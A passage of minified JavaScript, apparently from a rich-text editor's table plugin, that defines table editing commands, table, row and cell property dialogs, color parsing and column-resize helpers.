g=fi(m),r=ai(m)?E:wi;return{deleteRow:t(lf,function(e){return!1===n(m)||1<yu(e).rows},E,e,Sa),deleteColumn:t(cf,function(e){return!1===n(m)||1<yu(e).columns},E,e,Sa),insertRowsBefore:t(tf,x,E,e,Sa),insertRowsAfter:t(rf,x,E,e,Sa),insertColumnsBefore:t(of,x,r,e,Sa),insertColumnsAfter:t(uf,x,r,e,Sa),mergeCells:t(bf,x,E,e,Sa),unmergeCells:t(hf,x,E,e,Sa),pasteColsBefore:t(wf,x,E,e,Sa),pasteColsAfter:t(yf,x,E,e,Sa),pasteRowsBefore:t(Cf,x,E,e,Sa),pasteRowsAfter:t(Sf,x,E,e,Sa),pasteCells:t(vf,x,E,e,Ta),makeCellsHeader:t(gf,x,E,e,Sa),unmakeCellsHeader:t(pf,x,E,e,Sa),makeColumnsHeader:t(af,x,E,e,Sa),unmakeColumnsHeader:t(ff,x,E,e,Sa),makeRowsHeader:t(sf,x,E,e,Sa),makeRowsBody:t(mf,x,E,e,Sa),makeRowsFooter:t(df,x,E,e,Sa),getTableRowType:Tf,getTableCellType:Mc,getTableColType:Bc}}function Pc(e,n,t,r){return D(e,function(e){return function(e,n,t,r){for(var o=Ve.fromTag("tr"),u=0;u<e;u++){var i=r<n||u<t?Ve.fromTag("th"):Ve.fromTag("td");u<t&&Mn(i,"scope","row"),r<n&&Mn(i,"scope","col"),Xt(i,Ve.fromTag("br")),Xt(o,i)}return o}(n,t,r,e)})}function Nc(e,n){e.selection.select(n.dom,!0),e.selection.collapse(!0)}function zc(u,i,c,l,a){var o=Qu(u),f={styles:o,attributes:Ju(u),colGroups:u.getParam("table_use_colgroups",!1,"boolean")};return u.undoManager.ignore(function(){var e=function(e,n,t,r,o,u){void 0===u&&(u=xf);var i,c,l=Ve.fromTag("table"),a="cells"!==o;qn(l,u.styles),En(l,u.attributes),u.colGroups&&Xt(l,(i=n,c=Ve.fromTag("colgroup"),D(i,function(){return Xt(c,Ve.fromTag("col"))}),c));var f,s=Math.min(e,t);a&&0<t&&(f=Ve.fromTag("thead"),Xt(l,f),It(f,Pc(t,n,"sectionCells"===o?s:0,r)));var m=Ve.fromTag("tbody");return Xt(l,m),It(m,Pc(a?e-s:e,n,a?0:t,r)),l}(c,i,a,l,ii(u),f);Mn(e,"data-mce-id","__mce");var n,t,r,o=(n=e,t=Ve.fromTag("div"),r=Ve.fromDom(n.dom.cloneNode(!0)),Xt(t,r),t.dom.innerHTML);u.insertContent(o),u.addVisual()}),kn(Yo(u),'table[data-mce-id="__mce"]').map(function(e){var n,t,r;return ka(u)?Ma(e):Ia(u)?Ea(e):(ui(u)||(n=o.width,T(n)&&-1!==n.indexOf("%")))&&Ba(e),nu(e),Wt(e,"data-mce-id"),t=u,A(dn(e,"tr"),function(e){qu(t,e.dom),A(dn(e,"th,td"),function(e){Uu(t,e.dom)})}),r=u,kn(e,"td,th").each(P(Nc,r)),e.dom}).getOr(null)}function Lc(e,n,t,r,o){function u(e){return f(e)&&0<e}if(void 0===r&&(r={}),u(n)&&u(t)){var i=r.headerRows||0;return zc(e,t,n,r.headerColumns||0,i)}return console.error(o),null}function _c(e){return function(){return e().fold(function(){return[]},function(e){return O(e,function(e){return e.dom})})}}function Wc(t){return function(e){var n=0<e.length?q.some(Xo(e)):q.none();t(n)}}function jc(e,n,t){var r=Kn(e,n,1);1===t||r<=1?Wt(e,n):Mn(e,n,Math.min(t,r))}function Fc(o,e,u){return function(e,n){for(var t=0;t<n.length;t++){var r=o.getStyle(n[t],u);if((e=void 0===e?r:e)!==r)return""}return e}(void 0,o.select("td,th",e))}function Hc(e,n,t){t&&e.formatter.apply("align"+t,{},n)}function Vc(n,t){Rf.each("left center right".split(" "),function(e){n.formatter.remove("align"+e,{},t)})}function qc(e){return Of.test(t=e)||Af.test(t)?q.some({value:(Ae(n=e,"#")?n.substring("#".length):n).toUpperCase()}):q.none();var n,t}function Uc(e){var n=e.toString(16);return(1===n.length?"0"+n:n).toUpperCase()}function Gc(e){return{value:Uc(e.red)+Uc(e.green)+Uc(e.blue)}}function $c(e,n,t,r){return{red:e,green:n,blue:t,alpha:r}}function Kc(e,n,t,r){return $c(parseInt(e,10),parseInt(n,10),parseInt(t,10),parseFloat(r))}function Xc(e){var n=e;return{get:function(){return n},set:function(e){n=e}}}function Yc(e){function n(){return t.get().each(e)}var t=Xc(q.none());return{clear:function(){n(),t.set(q.none())},isSet:function(){return t.get().isSome()},get:function(){return t.get()},set:function(e){n(),t.set(q.some(e))}}}function Jc(){var n=Yc(E);return K(K({},n),{on:function(e){return n.get().each(e)}})}function Qc(e){return be(e,"menu")}function Zc(t,r){return function(e){var n;t.execCommand("mceTableApplyCellStyle",!1,((n={})[r]=e,n))}}function el(n,t,r,o,u){return function(e){return e(Mf(n,t,r,o,u))}}function nl(r,e,o){var n=O(e,function(e){return{text:e.title,value:"#"+qc(r=e.value).orThunk(function(){return function(e){if("transparent"===e)return q.some($c(0,0,0,0));var n=kf.exec(e);if(null!==n)return q.some(Kc(n[1],n[2],n[3],"1"));var t=If.exec(e);return null!==t?q.some(Kc(t[1],t[2],t[3],t[4])):q.none()}(r).map(Gc)}).getOrThunk(function(){var e=document.createElement("canvas");e.height=1,e.width=1;var n=e.getContext("2d");n.clearRect(0,0,e.width,e.height),n.fillStyle="#FFFFFF",n.fillStyle=r,n.fillRect(0,0,1,1);var t=n.getImageData(0,0,1,1).data;return Gc($c(t[0],t[1],t[2],t[3]))}).value,type:"choiceitem"};var r});return[{type:"fancymenuitem",fancytype:"colorswatch",initData:{colors:0<n.length?n:void 0,allowCustomColors:!1},onAction:function(e){var n,t="remove"===e.value?"":e.value;r.execCommand("mceTableApplyCellStyle",!1,((n={})[o]=t,n))}}]}function tl(n){return function(){var e=n.queryCommandValue("mceTableRowType");n.execCommand("mceTableRowType",!1,{type:"header"===e?"body":"header"})}}function rl(n){return function(){var e=n.queryCommandValue("mceTableColType");n.execCommand("mceTableColType",!1,{type:"th"===e?"td":"th"})}}function ol(e){return Pf.concat((0<(n=Bf(ri(e))).length?q.some({name:"class",type:"listbox",label:"Class",items:n}):q.none()).toArray());var n}function ul(e,n){var t=[{name:"borderstyle",type:"listbox",label:"Border style",items:[{text:"Select...",value:""}].concat(Bf(Yu(e)))},{name:"bordercolor",type:"colorinput",label:"Border color"},{name:"backgroundcolor",type:"colorinput",label:"Background color"}];return{title:"Advanced",name:"advanced",items:"cell"===n?[{name:"borderwidth",type:"input",label:"Border width"}].concat(t):t}}function il(u){return function(t,r){var o=t.dom;return{setAttrib:function(e,n){u&&!n||o.setAttrib(r,e,n)},setStyle:function(e,n){u&&!n||o.setStyle(r,e,n)},setFormat:function(e,n){u&&!n||(""===n?t.formatter.remove(e,{value:null},r,!0):t.formatter.apply(e,{value:n},r))}}}}function cl(n){return function(e){return Ae(e,"rgb")?n.toHex(e):e}}function ll(e,n){var t=Ve.fromDom(n);return{borderwidth:Gn(t,"border-width").getOr(""),borderstyle:Gn(t,"border-style").getOr(""),bordercolor:Gn(t,"border-color").map(cl(e)).getOr(""),backgroundcolor:Gn(t,"background-color").map(cl(e)).getOr("")}}function al(e){var o=e[0];return A(e.slice(1),function(e){A(Ue(o),function(r){ae(e,function(e,n){var t=o[r];""!==t&&r===n&&t!==e&&(o[r]="")})})}),o}function fl(e,n,t,r){return w(e,function(e){return!u(t.formatter.matchNode(r,n+e))}).getOr("")}function sl(e,t){var n=$t.fromTable(e);return O(k($t.justCells(n),function(n){return R(t,function(e){return ce(n.element,e)})}),function(e){return{element:e.element.dom,column:$t.getColumnAt(n,e.column).map(function(e){return e.element.dom})}})}function ml(e,n,r,t){var l=t.getData();t.close(),e.undoManager.transact(function(){var o,u=e,i=n,t=r,c=se(o=l,function(e,n){return t[n]!==e});0<ge(c)&&1<=i.length&&rt(i[0]).each(function(e){var s,m,d,n=sl(e,i),t=0<ge(se(c,function(e,n){return"scope"!==n&&"celltype"!==n})),r=Ke(c,"celltype");(t||Ke(c,"scope"))&&(s=u,m=o,d=1===n.length,A(n,function(e){var n,t,r,o,u,i,c=e.element,l=d?Nf.normal(s,c):Nf.ifTruthy(s,c),a=e.column.map(function(e){return d?Nf.normal(s,e):Nf.ifTruthy(s,e)}).getOr(l),f=m;(n=l).setAttrib("scope",f.scope),n.setAttrib("class",f.class),n.setStyle("height",eu(f.height)),a.setStyle("width",eu(f.width)),Zu(s)&&((t=l).setFormat("tablecellbackgroundcolor",(r=m).backgroundcolor),t.setFormat("tablecellbordercolor",r.bordercolor),t.setFormat("tablecellborderstyle",r.borderstyle),t.setFormat("tablecellborderwidth",eu(r.borderwidth))),d&&(Vc(s,c),o=s,u=c,Rf.each("top middle bottom".split(" "),function(e){o.formatter.remove("valign"+e,{},u)})),m.halign&&Hc(s,c,m.halign),!m.valign||(i=m.valign)&&s.formatter.apply("valign"+i,{},c)})),r&&u.execCommand("mceTableCellType",!1,{type:o.celltype,no_events:!0}),Gu(u,e.dom,{structure:r,style:t})}),e.focus()})}function dl(e,n){var t,l,r,o,u,i=Ql(n);0!==i.length&&(l=e,t=al(rt((r=i)[0]).map(function(e){return O(sl(e,r),function(e){return t=l,r=e.element,o=Zu(l),u=e.column,i=t.dom,c=u.getOr(r),K({width:n(c,"width"),height:n(r,"height"),scope:i.getAttrib(r,"scope"),celltype:r.nodeName.toLowerCase(),class:i.getAttrib(r,"class",""),halign:zf(t,r),valign:Lf(t,r)},o?ll(i,r):{});function n(e,n){return i.getStyle(e,n)||i.getAttrib(e,n)}var t,r,o,u,i,c})}).getOrDie()),o={type:"tabpanel",tabs:[{title:"General",name:"general",items:ol(e)},ul(e,"cell")]},u={type:"panel",items:[{type:"grid",columns:2,items:ol(e)}]},e.windowManager.open({title:"Cell Properties",size:"normal",body:Zu(e)?o:u,buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:t,onSubmit:P(ml,e,i,t)}))}function gl(e){return _f.concat((0<(n=Bf(e.getParam("table_row_class_list",[],"array"))).length?q.some({name:"class",type:"listbox",label:"Class",items:n}):q.none()).toArray());var n}function pl(s,m,d,e){var g=e.getData();e.close(),s.undoManager.transact(function(){var e,n,t,i,c,l,a,r=s,o=m,u=d,f=se(e=g,function(e,n){return u[n]!==e});0<ge(f)&&(n=Ke(f,"type"),(t=!n||1<ge(f))&&(i=r,c=e,l=u,a=1===o.length,A(o,function(e){var n,t,r,o=a?Nf.normal(i,e):Nf.ifTruthy(i,e),u=c;(n=o).setAttrib("class",u.class),n.setStyle("height",eu(u.height)),ei(i)&&((t=o).setStyle("background-color",(r=c).backgroundcolor),t.setStyle("border-color",r.bordercolor),t.setStyle("border-style",r.borderstyle)),c.align!==l.align&&(Vc(i,e),Hc(i,e,c.align))})),n&&r.execCommand("mceTableRowType",!1,{type:e.type,no_events:!0}),rt(Ve.fromDom(o[0])).each(function(e){return Gu(r,e.dom,{structure:n,style:t})})),s.focus()})}function bl(i){var e,t,n,r,o,u,c,l=(e=tu(i),t=Xl.selected,r=(n=Jl(e)).bind(function(e){return rt(e)}).map(ot),Wn(n,r,function(n,e){return k(e,function(e){return R(Xo(e.dom.cells),function(e){return"1"===Pn(e,t)||ce(e,n)})})}).getOr([]));0!==l.length&&(o=al(O(l,function(e){return n=i,t=e.dom,r=ei(i),u=n.dom,K({height:u.getStyle(t,"height")||u.getAttrib(t,"height"),class:u.getAttrib(t,"class",""),type:rt(Ve.fromDom(o=t)).map(function(e){var n={selection:Xo(o.cells)};return Tf(e,n)}).getOr(""),align:zf(n,t)},r?ll(u,t):{});var n,t,r,o,u})),u={type:"tabpanel",tabs:[{title:"General",name:"general",items:gl(i)},ul(i,"row")]},c={type:"panel",items:[{type:"grid",columns:2,items:gl(i)}]},i.windowManager.open({title:"Row Properties",size:"normal",body:ei(i)?u:c,buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:o,onSubmit:P(pl,i,O(l,function(e){return e.dom}),o)}))}function hl(u,i,t,e){var c=u.dom,l=e.getData(),a=se(l,function(e,n){return t[n]!==e});e.close(),""===l.class&&delete l.class,u.undoManager.transact(function(){var e,n,t,r,o;i||(e=parseInt(l.cols,10)||1,n=parseInt(l.rows,10)||1,i=zc(u,e,n,0,0)),0<ge(a)&&(function(e,n,t){var r,o=e.dom,u={},i={};if(u.class=t.class,i.height=eu(t.height),o.getAttrib(n,"width")&&!ti(e)?u.width=(r=t.width)?r.replace(/px$/,""):"":i.width=eu(t.width),ti(e)?(i["border-width"]=eu(t.border),i["border-spacing"]=eu(t.cellspacing)):(u.border=t.border,u.cellpadding=t.cellpadding,u.cellspacing=t.cellspacing),ti(e)&&n.children)for(var c=0;c<n.children.length;c++)Wf(o,n.children[c],{"border-width":eu(t.border),padding:eu(t.cellpadding)}),ni(e)&&Wf(o,n.children[c],{"border-color":t.bordercolor});ni(e)&&(i["background-color"]=t.backgroundcolor,i["border-color"]=t.bordercolor,i["border-style"]=t.borderstyle),u.style=o.serializeStyle(K(K({},Qu(e)),i)),o.setAttribs(n,K(K({},Ju(e)),u))}(u,i,l),((t=c.select("caption",i)[0])&&!l.caption||!t&&l.caption)&&u.execCommand("mceTableToggleCaption"),""===l.align?Vc(u,i):Hc(u,i,l.align)),u.focus(),u.addVisual(),0<ge(a)&&(o=!(r=Ke(a,"caption"))||1<ge(a),Gu(u,i,{structure:r,style:o}))})}function vl(e,n){var t,r,o,u,i,c,l,a,f,s,m,d,g,p,b,h,v,w,y,C=e.dom,S=(o=ni(r=e),a=Qu(r),f=Ju(r),s=o?(u=r.dom,{borderstyle:pe(a,"border-style").getOr(""),bordercolor:cl(u)(pe(a,"border-color").getOr("")),backgroundcolor:cl(u)(pe(a,"background-color").getOr(""))}):{},K(K(K(K(K(K({},{height:"",width:"100%",cellspacing:"",cellpadding:"",caption:!1,class:"",align:"",border:""}),a),f),s),(l=a["border-width"],ti(r)&&l?{border:l}:pe(f,"border").fold(function(){return{}},function(e){return{border:e}}))),(i=pe(a,"border-spacing").or(pe(f,"cellspacing")).fold(function(){return{}},function(e){return{cellspacing:e}}),c=pe(a,"border-padding").or(pe(f,"cellpadding")).fold(function(){return{}},function(e){return{cellpadding:e}}),K(K({},i),c))));!1===n?(t=C.getParent(e.selection.getStart(),"table",e.getBody()))?(d=t,g=ni(m=e),v=m.dom,w=ti(m)?v.getStyle(d,"border-spacing")||v.getAttrib(d,"cellspacing"):v.getAttrib(d,"cellspacing")||v.getStyle(d,"border-spacing"),y=ti(m)?Fc(v,d,"padding")||v.getAttrib(d,"cellpadding"):v.getAttrib(d,"cellpadding")||Fc(v,d,"padding"),S=K({width:v.getStyle(d,"width")||v.getAttrib(d,"width"),height:v.getStyle(d,"height")||v.getAttrib(d,"height"),cellspacing:w,cellpadding:y,border:(p=v,h=Gn(Ve.fromDom(b=d),"border-width"),ti(m)&&h.isSome()?h.getOr(""):p.getAttrib(b,"border")||Fc(m.dom,b,"border-width")||Fc(m.dom,b,"border")),caption:!!v.select("caption",d)[0],class:v.getAttrib(d,"class",""),align:zf(m,d)},g?ll(v,d):{})):ni(e)&&(S.borderstyle="",S.bordercolor="",S.backgroundcolor=""):(S.cols="1",S.rows="1",ni(e)&&(S.borderstyle="",S.bordercolor="",S.backgroundcolor=""));var T=Bf(oi(e));0<T.length&&S.class&&(S.class=S.class.replace(/\s*mce\-item\-table\s*/g,""));var x,R,D,O,A={type:"grid",columns:2,items:(x=T,R=n?[{type:"input",name:"cols",label:"Cols",inputMode:"numeric"},{type:"input",name:"rows",label:"Rows",inputMode:"numeric"}]:[],D=e.getParam("table_appearance_options",!0,"boolean")?[{type:"input",name:"cellspacing",label:"Cell spacing",inputMode:"numeric"},{type:"input",name:"cellpadding",label:"Cell padding",inputMode:"numeric"},{type:"input",name:"border",label:"Border width"},{type:"label",label:"Caption",items:[{type:"checkbox",name:"caption",label:"Show caption"}]}]:[],O=0<x.length?[{type:"listbox",name:"class",label:"Class",items:x}]:[],R.concat([{type:"input",name:"width",label:"Width"},{type:"input",name:"height",label:"Height"}]).concat(D).concat([{type:"listbox",name:"align",label:"Alignment",items:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]}]).concat(O))},k=ni(e)?{type:"tabpanel",tabs:[{title:"General",name:"general",items:[A]},ul(e,"table")]}:{type:"panel",items:[A]};e.windowManager.open({title:"Table Properties",size:"normal",body:k,onSubmit:P(hl,e,t,S),buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:S})}function wl(e){return Yl(tu(e),Zo(e))}function yl(l,n,e,a,t){function u(e){return rt(e,d)}function f(t){return Jl(tu(e=l),Zo(e)).bind(function(n){return u(n).map(function(e){return t(e,n)})});var e}function s(e){l.focus()}function r(r,o){return void 0===o&&(o=!1),f(function(e,n){var t=ou(a,e,n);r(e,t,o).each(s)})}function o(){return f(function(e,n){var t,r,o,u=ou(a,e,n),i=$o(E,Ve.fromDom(l.getDoc()),q.none());return t=u,r=i,_i(o=$t.fromTable(e),t).bind(function(e){var n=Ei(N(gt(Mi(o,r,!1)).rows.slice(e[0].row,e[e.length-1].row+e[e.length-1].rowspan),function(e){var n=k(e.cells,function(e){return!e.isLocked});return 0<n.length?[K(K({},e),{cells:n})]:[]}));return jn(0<n.length,n)}).map(function(e){return O(e,function(e){var t=ar(e.element);return A(e.cells,function(e){var n=fr(e.element);Oi(n,"colspan",e.colspan,1),Oi(n,"rowspan",e.rowspan,1),Xt(t,n)}),t})})})}function i(){return f(function(e,n){var t,l,r=ou(a,e,n);return t=r,Wi(l=$t.fromTable(e),t).map(function(e){var r,o,n=e[e.length-1],t=e[0].column,u=n.column+n.colspan,i=function(e,t,r){if($t.hasColumns(e)){var n=O(k($t.justColumns(e),function(e){return e.column>=t&&e.column<r}),function(e){var n=fr(e.element);return jc(n,"span",r-t),n}),o=Ve.fromTag("colgroup");return It(o,n),[o]}return[]}(l,t,u),c=(r=t,o=u,O(l.all,function(e){var n=O(k(e.cells,function(e){return e.column>=r&&e.column<o}),function(e){var n=fr(e.element);return jc(n,"colspan",o-r),n}),t=Ve.fromTag("tr");return It(t,n),t}));return X(X([],i,!0),c,!0)})})}function c(c,e){return e().each(function(e){var i=O(e,fr);f(function(e,n){var t,r,o=Ko(Ve.fromDom(l.getDoc())),u=(t=i,r=o,{selection:ru(a),clipboard:t,generators:r});c(e,u).each(s)})})}function m(t){return function(e,n){return pe(n,"type").each(function(e){r(t(e),n.no_events)})}}var d=Zo(l);ae({mceTableSplitCells:function(){return r(n.unmergeCells)},mceTableMergeCells:function(){return r(n.mergeCells)},mceTableInsertRowBefore:function(){return r(n.insertRowsBefore)},mceTableInsertRowAfter:function(){return r(n.insertRowsAfter)},mceTableInsertColBefore:function(){return r(n.insertColumnsBefore)},mceTableInsertColAfter:function(){return r(n.insertColumnsAfter)},mceTableDeleteCol:function(){return r(n.deleteColumn)},mceTableDeleteRow:function(){return r(n.deleteRow)},mceTableCutCol:function(){return i().each(function(e){t.setColumns(e),r(n.deleteColumn)})},mceTableCutRow:function(){return o().each(function(e){t.setRows(e),r(n.deleteRow)})},mceTableCopyCol:function(){return i().each(function(e){return t.setColumns(e)})},mceTableCopyRow:function(){return o().each(function(e){return t.setRows(e)})},mceTablePasteColBefore:function(){return c(n.pasteColsBefore,t.getColumns)},mceTablePasteColAfter:function(){return c(n.pasteColsAfter,t.getColumns)},mceTablePasteRowBefore:function(){return c(n.pasteRowsBefore,t.getRows)},mceTablePasteRowAfter:function(){return c(n.pasteRowsAfter,t.getRows)},mceTableDelete:function(){return wl(l).each(function(e){rt(e,d).filter(p(d)).each(function(e){var n,t=Ve.fromText("");Dt(e,t),Yt(e),l.dom.isEmpty(l.getBody())?(l.setContent(""),l.selection.setCursorLocation()):((n=l.dom.createRng()).setStart(t.dom,0),n.setEnd(t.dom,0),l.selection.setRng(n),l.nodeChanged())})})},mceTableCellToggleClass:function(e,r){f(function(e){var n=Ql(a),t=z(n,function(e){return l.formatter.match("tablecellclass",{value:r},e.dom)})?l.formatter.remove:l.formatter.apply;A(n,function(e){return t("tablecellclass",{value:r},e.dom)}),Gu(l,e.dom,Ca)})},mceTableToggleClass:function(e,n){f(function(e){l.formatter.toggle("tableclass",{value:n},e.dom),Gu(l,e.dom,Ca)})},mceTableToggleCaption:function(){wl(l).each(function(n){rt(n,d).each(function(r){An(r,"caption").fold(function(){var e,n,t=Ve.fromTag("caption");Xt(t,Ve.fromText("Caption")),n=t,an(e=r,0).fold(function(){Xt(e,n)},function(e){Rt(e,n)}),l.selection.setCursorLocation(t.dom,0)},function(e){en("caption")(n)&&ie("td",r).each(function(e){return l.selection.setCursorLocation(e.dom,0)}),Yt(e)}),Gu(l,r.dom,Sa)})})},mceTableSizingMode:function(e,n){return t=n,wl(l).each(function(e){Ia(l)||ka(l)||ui(l)||rt(e,d).each(function(e){"relative"!==t||Bl(e)?"fixed"!==t||Ml(e)?"responsive"!==t||El(e)||Ea(e):Ma(e):Ba(e),nu(e),Gu(l,e.dom,Sa)})});var t},mceTableCellType:m(function(e){return"th"===e?n.makeCellsHeader:n.unmakeCellsHeader}),mceTableColType:m(function(e){return"th"===e?n.makeColumnsHeader:n.unmakeColumnsHeader}),mceTableRowType:m(function(e){switch(e){case"header":return n.makeRowsHeader;case"footer":return n.makeRowsFooter;default:return n.makeRowsBody}})},function(e,n){return l.addCommand(n,e)}),ae({mceTableProps:P(vl,l,!1),mceTableRowProps:P(bl,l),mceTableCellProps:P(dl,l,a)},function(e,n){return l.addCommand(n,function(){return e()})}),l.addCommand("mceInsertTable",function(e,n){g(n)&&0<Ue(n).length?Lc(l,n.rows,n.columns,n.options,"Invalid values for mceInsertTable - rows and columns values are required to insert a table."):vl(l,!0)}),l.addCommand("mceTableApplyCellStyle",function(e,n){function r(e){return"tablecell"+e.toLowerCase().replace("-","")}var o,t;!g(n)||0!==(o=Ql(a)).length&&(function(e){for(var n in e)if(Ge.call(e,n))return;return 1}(t=se(n,function(e,n){return l.formatter.has(r(n))&&T(e)}))||(ae(t,function(n,t){A(o,function(e){Nf.normal(l,e.dom).setFormat(r(t),n)})}),u(o[0]).each(function(e){return Gu(l,e.dom,Ca)})))})}function Cl(t,e){return rt(t,e).bind(function(e){var n=nt(e);return b(n,function(e){return ce(t,e)}).map(function(e){return{index:e,all:n}})})}function Sl(e,n){var t=e.document.createRange();return t.selectNode(n.dom),t}function Tl(e,n){var t=e.document.createRange();return Jf(t,n),t}function xl(e,n,t){var r,o=e.document.createRange(),u=o;return n.fold(function(e){u.setStartBefore(e.dom)},function(e,n){u.setStart(e.dom,n)},function(e){u.setStartAfter(e.dom)}),r=o,t.fold(function(e){r.setEndBefore(e.dom)},function(e,n){r.setEnd(e.dom,n)},function(e){r.setEndAfter(e.dom)}),o}function Rl(e,n,t,r,o){var u=e.document.createRange();return u.setStart(n.dom,t),u.setEnd(r.dom,o),u}function Dl(e){return{left:e.left,top:e.top,right:e.right,bottom:e.bottom,width:e.width,height:e.height}}function Ol(e,n,t){return n(Ve.fromDom(t.startContainer),t.startOffset,Ve.fromDom(t.endContainer),t.endOffset)}function Al(e,n){var o,t,r,u=(o=e,n.match({domRange:function(e){return{ltr:C(e),rtl:q.none}},relative:function(e,n){return{ltr:Y(function(){return xl(o,e,n)}),rtl:Y(function(){return q.some(xl(o,n,e))})}},exact:function(e,n,t,r){return{ltr:Y(function(){return Rl(o,e,n,t,r)}),rtl:Y(function(){return q.some(Rl(o,t,r,e,n))})}}}));return(r=(t=u).ltr()).collapsed?t.rtl().filter(function(e){return!1===e.collapsed}).map(function(e){return Qf.rtl(Ve.fromDom(e.endContainer),e.endOffset,Ve.fromDom(e.startContainer),e.startOffset)}).getOrThunk(function(){return Ol(0,Qf.ltr,r)}):Ol(0,Qf.ltr,r)}function kl(u,e){return Al(u,e).match({ltr:function(e,n,t,r){var o=u.document.createRange();return o.setStart(e.dom,n),o.setEnd(t.dom,r),o},rtl:function(e,n,t,r){var o=u.document.createRange();return o.setStart(t.dom,r),o.setEnd(e.dom,n),o}})}function Il(e,n){return{parent:C(q.from(e.dom.documentElement).map(Ve.fromDom).getOr(e)),view:C(e),origin:C(uo(0,0)),isResizable:n}}function Bl(e){return yo(e).exists(function(e){return _l.test(e)})}function Ml(e){return yo(e).exists(function(e){return Wl.test(e)})}function El(e){return yo(e).isNone()}function Pl(){return{transformRow:S,transformCell:Si}}function Nl(o,u){function r(e){if(sc(e))return Ka((t={element:e}).element)?o.colgroup(t):o.row(t);var n,t,r=(n=u(e),$a(n.element)?o.col(n):o.cell(n));return i=q.some({item:e,replacement:r}),r}void 0===u&&(u=mc);var i=q.none();return{getOrInit:function(n,t){return i.fold(function(){return r(n)},function(e){return t(n,e.item)?e.replacement:r(n)})}}}function zl(r){return function(t){function u(e){var n=t.replace(e,r,"td"===r?{scope:null}:{});return i.push({item:e,sub:n}),n}var i=[];return{replaceOrInit:function(n,t){return sc(n)||$a(n)?n:(r=n,o=t,w(i,function(e){return o(e.item,r)}).fold(function(){return u(n)},function(e){return t(n,e.item)?e.sub:u(n)}));var r,o}}}}function Ll(r){return{unmerge:function(t){var e=dc(t);return e.each(function(e){return Mn(t,"scope",e)}),function(){var n=r.cell({element:t,colspan:1,rowspan:1});return $n(n,"width"),$n(t,"width"),e.each(function(e){return Mn(n,"scope",e)}),n}},merge:function(r){return $n(r[0],"width"),function(){var e=_n(O(r,dc));if(0===e.length)return q.none();var n=e[0],t=["row","col"];return R(e,function(e){return e!==n&&y(t,e)})?q.none():q.from(n)}().fold(function(){return Wt(r[0],"scope")},function(e){return Mn(r[0],"scope",e+"group")}),C(r[0])}}}var _l=/(\d+(\.\d+)?)%/,Wl=/(\d+(\.\d+)?)px|em/,jl=en("col"),Fl=C(_l),Hl=en("col"),Vl=function(r){return yo(r).fold(function(){return e=Eo(t=r,vr),n=C(0),{width:e,pixelWidth:e,getWidths:function(e,n){return Bo(e,t,n)},getCellDelta:n,singleColumnWidth:C([0]),minCellWidth:n,setElementWidth:E,adjustTableWidth:E,isRelative:!0,label:"none"};var t,e,n},function(e){return n=r,t=e,(null!==Fl().exec(t)?Po:No)(n);var n,t})},ql=No,Ul=Po,Gl=["img","br"],$l=function(e,u){var i=function(e){for(var n=ln(e),t=n.length-1;0<=t;t--){var r=n[t];if(u(r))return q.some(r);var o=i(r);if(o.isSome())return o}return q.none()};return i(e)},Kl={scope:["row","col"]},Xl={selected:"data-mce-selected",selectedSelector:"td[data-mce-selected],th[data-mce-selected]",firstSelected:"data-mce-first-selected",firstSelectedSelector:"td[data-mce-first-selected],th[data-mce-first-selected]",lastSelected:"data-mce-last-selected",lastSelectedSelector:"td[data-mce-last-selected],th[data-mce-last-selected]"},Yl=uu("th,td,caption"),Jl=uu("th,td"),Ql=ru,Zl=Lr([{none:[]},{only:["index"]},{left:["index","next"]},{middle:["prev","index","next"]},{right:["prev","index"]}]),ea=K({},Zl),na=mu(function(e){return e<0}),ta=mu(x),ra=Lr([{invalid:["raw"]},{pixels:["value"]},{percent:["value"]}]),oa=K(K({},ra),{from:function(e){return ee(e,"%")?pu("%",ra.percent,e):ee(e,"px")?pu("px",ra.pixels,e):ra.invalid(e)}}),ua=function(e){if(0===e.length)return e;var n,t,r=I(e,function(e,n){var t=oa.from(n).fold(function(){return{value:n,remainder:0}},function(e){return n=e,{value:(t=Math.floor(n))+"px",remainder:n-t};var n,t},function(e){return{value:e+"%",remainder:0}});return{output:[t.value].concat(e.output),remainder:e.remainder+t.remainder}},{output:[],remainder:0}),o=r.output;return o.slice(0,o.length-1).concat([(n=o[o.length-1],t=Math.round(r.remainder),oa.from(n).fold(C(n),function(e){return e+t+"px"},function(e){return e+t+"%"}))])},ia=oa.from,ca=Ru(["compare","extract","mutate","sink"]),la=Ru(["element","start","stop","destroy"]),aa=Ru(["forceDrop","drop","move","delayDrop"]),fa=function(e,n,t,r){e.dom.removeEventListener(n,t,r)},sa=x,ma=Ou,da=Eu("ephox-dragster").resolve,ga=ca({compare:function(e,n){return uo(n.left-e.left,n.top-e.top)},extract:function(e){return q.some(uo(e.x,e.y))},sink:function(e,n){var t,r,o,u=(t=n,r=K({layerClass:da("blocker")},t),Mn(o=Ve.fromTag("div"),"role","presentation"),qn(o,{position:"fixed",left:"0px",top:"0px",width:"100%",height:"100%"}),Bu(o,da("blocker")),Bu(o,r.layerClass),{element:C(o),destroy:function(){Yt(o)}}),i=Au(u.element(),"mousedown",e.forceDrop),c=Au(u.element(),"mouseup",e.drop),l=Au(u.element(),"mousemove",e.move),a=Au(u.element(),"mouseout",e.delayDrop);return la({element:u.element,start:function(e){Xt(e,u.element())},stop:function(){Yt(u.element())},destroy:function(){u.destroy(),c.unbind(),l.unbind(),a.unbind(),i.unbind()}})},mutate:function(e,n){e.mutate(n.left,n.top)}}),pa=function(e){return e.dom.contentEditable},ba=Eu("ephox-snooker").resolve,ha=ba("resizer-bar"),va=ba("resizer-rows"),wa=ba("resizer-cols"),ya=ba("resizer-bar-dragging"),Ca={structure:!1,style:!0},Sa={structure:!0,style:!1},Ta={structure:!0,style:!0},xa={"border-collapse":"collapse",width:"100%"},Ra=D(5,function(e){var n=e+1+"px";return{title:n,value:n}}),Da=O(["Solid","Dotted","Dashed","Double","Groove","Ridge","Inset","Outset","None","Hidden"],function(e){return{title:e,value:e.toLowerCase()}}),Oa={border:"1"},Aa="preservetable",ka=function(e){return"fixed"===$u(e)||!1===Ku(e)},Ia=function(e){return"responsive"===$u(e)},Ba=function(e){var n=Ro(e);wu(e,q.some(n),q.none()),gi(e)},Ma=function(e){var 